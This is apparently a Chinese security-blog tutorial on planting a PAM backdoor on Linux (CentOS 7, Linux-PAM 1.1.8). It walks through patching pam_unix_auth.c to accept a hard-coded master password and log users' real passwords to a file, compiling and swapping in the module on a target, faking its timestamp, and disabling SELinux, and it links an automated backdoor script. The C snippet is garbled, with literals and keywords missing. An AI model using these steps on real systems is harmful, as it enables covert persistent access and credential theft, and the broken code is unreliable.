PAM 后门
PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证
简单的理解,PAM中的模块可以实现对Linux登录认证。
查看pam版本:
getconf LONG_BITcat /etc/redhat-releaserpm -qa | grep pamapt-get list --installed | grep pam |
查看系统版本
cat /etc/issuecat /etc/*-releasecat /etc/lsb-releasecat /etc/redhat-release |
PAM包下载地址:
http://www.linux-pam.org/library/ |
Github上有自动安装bash脚本
https://github.com/zephrax/linux-pam-backdoor |
真实环境中,需要确定目标的系统版本以及PAM版本,然后本地搭建同样环境,编译PAM_UNIX.so,随后复制到目标中替换目标上的相同文件即可。
实验环境
Linux centos 7
PAM 1.1.8版本
首先下载PAM包:
http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
随后解压,需要修改/Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
中的判断逻辑,实现记录登录密码以及万能密码登录
找到如下的代码行
替换retval = _unix_verify_password(pamh, name, p, ctrl);
这一行
代码如下
*pass=; *=;((pass,p,) == ){ retval = PAM_SUCCESS;}{ retval = _unix_verify_password(pamh, name, p, ctrl); (retval == PAM_SUCCESS) { FILE *fp = fopen(,); (fp!=) { (fp,,name); (fp,); (fp,,p); (fp,); fclose(fp); } }} |
随后保存退出
然后yum install gcc flex-devel
,刚装的系统一般没有这些软件。需要自行安装,未装flex 的话64位系统编译可能会遇到yywrap()函数未定义错误
随后执行编译./configre && make
完成编译后,编译好的文件在Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so
32位的系统的认证文件 在/lib/security
64位为 /lib64/security
随后先备份原本的pam文件,再把当前文件移动过去,最后别忘把时间修改一下
cp -af /lib64/security/pam_unix.so /opt/ cp -af pam_unix.so /lib64/security/touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so |
唯一的点需要关闭SElinux
setenforce 0 |
SSH测试,键入我们预先的万能密码 r00tr00t
用原本的root账户密码也能登录,并且当他管理员登录上来之后,键入的密码会被记录到我们设置的文本中
本文作者:白帽100安全攻防实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/182179.html
暂无评论内容